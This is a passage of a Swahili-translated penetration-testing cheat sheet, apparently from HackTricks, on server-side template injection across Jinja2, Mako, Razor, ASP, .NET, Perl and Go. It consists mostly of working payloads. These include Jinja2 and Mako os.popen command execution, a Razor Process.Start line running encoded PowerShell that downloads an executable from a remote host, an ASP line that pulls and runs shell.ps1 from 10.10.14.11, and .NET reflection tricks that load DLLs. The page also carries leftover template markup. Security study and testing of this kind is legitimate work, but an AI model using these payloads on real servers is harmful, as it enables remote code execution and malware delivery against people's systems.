{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Taarifa zaidi

Jinja2 (Python)

Official website

Jinja2 ni injini ya templeti yenye sifa kamili kwa Python. Ina msaada kamili wa Unicode, chaguo la mazingira ya utekelezaji yaliyolindwa (sandbox) yanayoweza kuingizwa, inatumiwa sana na ina leseni ya BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Muundo wa kiolezo

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE sio kutegemea __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Maelezo zaidi kuhusu jinsi ya kumtumia vibaya Jinja:

Jinja2 SSTI

Payloads nyingine katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Taarifa zaidi

Other Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Njia ya .NET System.Diagnostics.Process.Start inaweza kutumika kuanzisha mchakato wowote kwenye server na hivyo kuunda webshell. Mfano wa webapp iliyo hatarini unaweza kupatikana katika https://github.com/cnotin/RazorVulnerableApp

Taarifa zaidi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Taarifa Zaidi

.Net Kuondokana na vikwazo

Mekanismo za .NET Reflection zinaweza kutumika kupita blacklisting au wakati classes hazipo kwenye assembly. DLL’s zinaweza kupakiwa wakati wa runtime na methods na properties zikifikiwa kutoka kwa basic objects.

DLL’s zinaweza kupakiwa kwa kutumia:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Utekelezaji kamili wa amri:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Maelezo zaidi

Mojolicious (Perl)

Hata ikiwa ni Perl, hutumia tagi kama ERB katika Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Katika Go’s template engine, uthibitisho wa matumizi yake unaweza kufanywa kwa payloads maalum:

  • {{ . }}: Inaonyesha muundo wa data uliopitishwa. Kwa mfano, ikiwa object yenye attribute ya Password imepelekwa, {{ .Password }} inaweza kuifunua.
  • {{printf "%s" "ssti" }}: Inatarajiwa kuonyesha string “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Payloads hizi zinapaswa kurudisha “ssti” bila kuongeza “html” au “js”. Maelekezo zaidi yanaweza kuchunguzwa kwenye nyaraka za Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Kwa package ya text/template, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, package ya html/template huencode response ili kuzuia hili (mf., {{"<script>alert(1)</script>"}} inatoa &lt;script&gt;alert(1)&lt;/script&gt;). Hata hivyo, ufafanuzi wa template na utumaji wake katika Go unaweza kupitisha encoding hii: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE exploitation inatofautiana sana kati ya html/template na text/template. Module ya text/template inaruhusu kuita function yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), jambo ambalo haliruhusiwi katika html/template. Nyaraka za module hizi zinapatikana here for html/template na here for text/template.

Kwa RCE kupitia SSTI katika Go, methods za object zinaweza kuitwa. Kwa mfano, ikiwa object iliyotolewa ina method System inayotekeleza amri, inaweza kutumiwa kama {{ .System "ls" }}. Kuingia kwenye source code kwa kawaida ni muhimu ili kutekeleza hili, kama katika mfano uliotolewa:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Taarifa zaidi

LESS (CSS Preprocessor)

LESS ni pre-processor maarufu wa CSS ambayo inaongeza variables, mixins, functions na directive yenye nguvu @import. Wakati wa compilation, injini ya LESS itafetch rasilimali zilizorejelewa katika statements za @import na ku-embed (“inline”) yaliyomo ndani ya CSS itokanayo pale chaguo la (inline) linapotumika.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Zaidi ya Exploits

Angalia yaliyobaki kwenye https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa exploits zaidi. Pia unaweza kupata taarifa za tags zenye kuvutia katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Msaada unaohusiana

Ikiwa unadhani inaweza kuwa muhimu, soma:

Zana

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks